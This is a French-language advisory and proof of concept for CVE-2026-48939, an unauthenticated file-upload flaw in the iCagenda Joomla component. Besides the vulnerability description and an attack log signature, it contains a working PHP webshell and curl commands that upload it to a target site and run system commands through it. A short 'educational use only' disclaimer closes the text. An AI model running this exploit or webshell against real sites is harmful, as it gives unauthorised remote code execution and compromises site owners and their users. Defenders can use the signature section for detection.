
iCagenda Unauthenticated File Upload to RCE
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-48939 |
| Score CVSS 4.0 | 10.0 Critique |
| Vecteur CVSS | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284 : Contrôle d'accès inapproprié |
| Versions affectées | iCagenda 3.2.1 - 3.9.14 et 4.0.0 - 4.0.7 |
| Corrigé dans | iCagenda 4.0.8 et 3.9.15 |
| Publié | 20 juin 2026 |
iCagenda, un composant populaire d'événements et de calendrier pour Joomla, contient une vulnérabilité de téléchargement de fichier non authentifié qui permet à des attaquants distants de télécharger et d'exécuter du code PHP arbitraire sur les sites Joomla 6.
La vulnérabilité existe dans la fonctionnalité de pièce jointe du formulaire de soumission d'événement côté frontend :
Absence de contrôle d'accès : Le point de terminaison de soumission (index.php?option=com_icagenda&task=registration.submit) n'impose pas d'authentification, contournant ainsi le paramètre d'accès « Réservé aux membres ».
Aucune validation de fichier : Les fichiers téléchargés sont enregistrés avec leur extension d'origine sans :
Écriture directe de fichier : Les fichiers sont écrits dans /images/icagenda/frontend/attachments/[filename] directement sous la racine web.
Exécution PHP : Sur Joomla 6, les fichiers .php téléchargés sont exécutables, menant à une exécution de code à distance (RCE).
# Créer une charge utile de shell PHP
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Télécharger le shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Exécuter des commandes via le shell téléchargé
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Naviguer vers le répertoire du projet
# Exécuter le script PoC
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
Identifier le point de terminaison vulnérable :
https://target.com/index.php?option=com_icagenda&task=submit
Télécharger un webshell PHP :
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
Exécuter le shell :
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
Sur la base des journaux d'exploitation réels, la signature d'attaque est :
# Étape 1 : Téléchargement
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Étape 2 : Exécution
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
com_icagendaCette preuve de concept est uniquement destinée à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé aux systèmes informatiques est illégal.